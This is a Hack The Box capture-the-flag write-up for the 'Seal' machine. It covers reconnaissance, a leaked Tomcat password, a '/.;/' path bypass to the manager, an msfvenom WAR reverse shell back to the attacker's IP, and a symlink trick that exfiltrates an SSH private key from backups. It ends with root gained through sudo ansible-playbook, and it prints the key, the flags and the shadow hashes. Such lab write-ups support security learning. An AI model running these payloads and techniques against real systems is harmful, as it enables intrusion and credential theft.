Seal - Hack The Box

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  1. [root:/git/htb/seal]# nmap -Pn -n -sCV 10.10.10.250 –open (master✱) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA) | 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA) |_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |http-title: Seal Market | ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK | Not valid before: 2021-05-05T10:24:03 |Not valid after: 2022-05-05T10:24:03 | tls-alpn: | http/1.1 | tls-nextprotoneg: | http/1.1 8080/tcp open http-proxy | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 401 Unauthorized | Date: Fri, 20 Aug 2021 18:18:58 GMT | Set-Cookie: JSESSIONID=node0ckxzfrsamy141gl0hvem8jus82.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Content-Length: 0 | GetRequest: | HTTP/1.1 401 Unauthorized | Date: Fri, 20 Aug 2021 18:18:58 GMT | Set-Cookie: JSESSIONID=node09ex2b4ulw72vng49957ovldj0.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Content-Length: 0 | HTTPOptions: | HTTP/1.1 200 OK | Date: Fri, 20 Aug 2021 18:18:58 GMT | Set-Cookie: JSESSIONID=node0rgfkubarz67yocnkxyr80we01.node0; Path=/; HttpOnly | Expires: Thu, 01 Jan 1970 00:00:00 GMT | Content-Type: text/html;charset=utf-8 | Allow: GET,HEAD,POST,OPTIONS | Content-Length: 0 | RPCCheck: | HTTP/1.1 400 Illegal character OTEXT=0x80 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 71 | Connection: close |

    Bad Message 400 

    reason: Illegal character OTEXT=0x80
    | RTSPRequest: | HTTP/1.1 505 Unknown Version | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 58 | Connection: close |

    Bad Message 505 

    reason: Unknown Version
    | Socks4: | HTTP/1.1 400 Illegal character CNTL=0x4 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close |

    Bad Message 400 

    reason: Illegal character CNTL=0x4
    | Socks5: | HTTP/1.1 400 Illegal character CNTL=0x5 | Content-Type: text/html;charset=iso-8859-1 | Content-Length: 69 | Connection: close |_

    Bad Message 400 

    reason: Illegal character CNTL=0x5
    | http-auth: | HTTP/1.1 401 Unauthorized0D |_ Server returned status 401 but no WWW-Authenticate header. |_http-title: Site doesn’t have a title (text/html;charset=utf-8).

DIRB: ==> DIRECTORY: https://10.10.10.250/admin/ ==> DIRECTORY: https://10.10.10.250/css/ ==> DIRECTORY: https://10.10.10.250/host-manager/ ==> DIRECTORY: https://10.10.10.250/icon/ ==> DIRECTORY: https://10.10.10.250/images/ + https://10.10.10.250/index.html (CODE:200|SIZE:19737) ==> DIRECTORY: https://10.10.10.250/js/ ==> DIRECTORY: https://10.10.10.250/manager/

NIKTO: + SSL Info: Subject: /C=UK/ST=London/L=Hackney/O=Seal Pvt Ltd/OU=Infra/CN=seal.htb/emailAddress=admin@seal.htb

  1. Visit http://seal.htb:8080 and create a new account. Looking around at issues, we find 2 users;

Looking at recent changes, we find http://seal.htb:8080/root/seal_market/commit/971f3aa3f0a0cc8aac12fd696d9631ca540f44c7, and within they remove this line:

Trying to login on SSH with all found users (admin, luis, alex) and password ’42MrHBf*z8{Z%’ fails. Trying on port 8080 we get access as user Luis. Compared to our own created user, we now have a Settings tab in the seal_markt nav bar. Looking around there’s not anything obvious we can do. However looking on the initial todo we get a hint about tomcat and the mutual authentication.

ToDo Remove mutual authentication for dashboard, setup registration and login features. Deploy updated tomcat configuration. Disable manager and host-manager.

So take a step back and go to ‘https://10.10.10.250/manager/status’ and we are presented with a login prompt. Use the found creds tomcat:42MrHBf*z8{Z%

We find that Tomcat is running on version: Apache Tomcat/9.0.31 (Ubuntu). This page doesn’t give us much, but we still get error 403 Forbidden when trying to reach https://seal.htb/manager/html. We want to reach this point as this is where we would be able to upload malicious .war files.

Googling around for 403 Bypass we come across a lot of different scripts, one called Byp4xx.

[root:/git/htb/seal/byp4xx]# ./byp4xx.py https://seal.htb/manager/html [+]#BUGBOUNTYTIPS .. Between /.;/: HTTP/1.1 401 Between ;foo=bar;/: HTTP/1.1 401

Executing the script we see two 401 Errors. > The HTTP 401 Unauthorized client error status response code indicates that the request has > not been applied because it lacks valid authentication credentials for the target resource

If we try to visit https://10.10.10.250/manager/.;/html we are now presented with the Application Manager!

  1. Create a .war reverse shell.

[root:/git/htb/seal]# msfvenom -p java/jsp_shell_reverse_tcp lhost=10.10.14.2 lport=4488 -f war > rev.war (master✱) Payload size: 1100 bytes Final size of war file: 1100 bytes

Upload it using the GUI, but before deploying enable the burp proxy to capture the POST request. In the request add the between (.;) symbols to bypass the 403 and the file should upload successfully.

Setup a listener and visit https://seal.htb/rev to get your shell.

[root:/opt]# nc -lvnp 4488 listening on [any] 4488 … connect to [10.10.14.2] from (UNKNOWN) [10.10.10.250] 48564 id && hostname uid=997(tomcat) gid=997(tomcat) groups=997(tomcat) seal python3 -c ‘import pty;pty.spawn(“/bin/bash”)’; tomcat@seal:/var/lib/tomcat9$

  1. We are unable to (easily) upload linpeas to the machine, however we quickly find a backup script that’s ran by user luis every minute.

cat /opt/backups/playbook/run.yml - hosts: localhost tasks: - name: Copy Files synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes - name: Server Backups archive: path: /opt/backups/files/ dest: “/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz” - name: Clean file: state: absent path: /opt/backups/files/

From the script/program, we see that dashboard and everything within are backed up to /opt/backups/archive. At the end of the line they say “copy_links=yes”, digging a bit deeper in to this I found: > “Copy symlinks as the item that they point to (the referent) is copied, rather than the symlink.”

Meaning if we can create a symlink in /var/lib/tomcat9/webapps/ROOT/admin/dashboard/, the content of the symlink will be backed up.

/var/lib/tomcat9/webapps/ROOT/admin/dashboard/: total 100 drwxr-xr-x 7 root root 4096 May 7 09:26 . drwxr-xr-x 3 root root 4096 May 6 10:48 .. drwxr-xr-x 5 root root 4096 Mar 7 2015 bootstrap drwxr-xr-x 2 root root 4096 Mar 7 2015 css drwxr-xr-x 4 root root 4096 Mar 7 2015 images -rw-r–r– 1 root root 71744 May 6 10:42 index.html drwxr-xr-x 4 root root 4096 Mar 7 2015 scripts drwxrwxrwx 2 root root 4096 Aug 25 14:16 uploads

Quickly we see that the ‘uploads’ directory is writable, we can create a symlink and then grab the content.

tomcat@seal:/opt/backups/archives$ ln -d -s /home/luis/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/luis-pls

We can see that one of the files is much bigger, this is because it also contains /home/luis. tomcat@seal:/opt/backups/archives$ ls -al total 114704 drwxrwxr-x 2 luis luis 4096 Aug 25 14:38 . drwxr-xr-x 4 luis luis 4096 Aug 25 14:38 .. -rw-rw-r– 1 luis luis 115628384 Aug 25 14:35 backup-2021-08-25-14:35:32.gz -rw-rw-r– 1 luis luis 606058 Aug 25 14:36 backup-2021-08-25-14:36:32.gz

Examine the file using zcat / zgrep. My way was absolutely not the best way, as all data printed out and I had to go through many many rows before I found the id_rsa file.

tomcat@seal:/opt/backups/archives$ zcat -f backup-2021-08-25-14:35:32.gz .. dashboard/uploads/luis-pls/.ssh/id_rsa0000600000175000017500000000503600000000000020232 0ustar00luisluis00000000000000—–BEGIN OPENSSH PRIVATE KEY—– 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 u8KqOiDVrwmFJRAAAACWx1aXNAc2VhbAE= —–END OPENSSH PRIVATE KEY—–

[root:/git/htb/seal]# chmod 600 id_rsa-luis [root:/git/htb/seal]# ssh luis@seal.htb -i id_rsa-luis luis@seal:~$ id && cat user.txt uid=1000(luis) gid=1000(luis) groups=1000(luis) b05995690f877efeb55302e8f09f296b

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  1. Always try ‘sudo -l’ for a quick root.

luis@seal:~$ sudo -l Matching Defaults entries for luis on seal: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Looking on gtfobins we find that ansible-playbook are at the very top. Follow the steps to grab root.txt.

luis@seal:~$ TF=\((mktemp) luis@seal:~\) echo ‘[{hosts: localhost, tasks: [shell: /bin/sh /dev/tty 2>/dev/tty]}]’ >\(TF luis@seal:~\) sudo /usr/bin/ansible-playbook $TF [WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match ‘all’

PLAY [localhost] ***********************************************************************************************************************

TASK [Gathering Facts] *****************************************************************************************************************
ok: [localhost]

TASK [shell] ***************************************************************************************************************************
# id && cat /root/root.txt
  uid=0(root) gid=0(root) groups=0(root)
  85239d7892c9f975905d49166e123084

# cat /etc/shadow
  root:$6$D8b4qJlaLsRsvwuy$qvUFLUdvoH0EsvrLSJCpejOmV7bZoCO2ZGH2ueU77uAHpxepSfK.ts4LkkfwzuJ.IJ87EeK9RrNKHEorKQp3r.:18752:0:99999:7:::
  luis:$6$2tGOIZ.O0MqK5nDd$nl12rn9ftZIPGGiFjDKBItGJlKB4uIwsrjVqq6Bkp2C7DVEE9/T4VuZjT1kbZjHCfVgVRGP7sqnSCiu1IRIUZ.:18753:0:99999:7:::

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Bypass-403 Script: https://github.com/iamj0ker/bypass-403

Synchronize Module (copy_links): https://docs.ansible.com/ansible/2.5/modules/synchronize_module.html

Zcat / Zgrep: https://www.blackmoreops.com/2014/08/01/z-commands-view-compressed-tar-gz-files-without-uncompressing/

GTFObins ansible-playbook: https://gtfobins.github.io/gtfobins/ansible-playbook/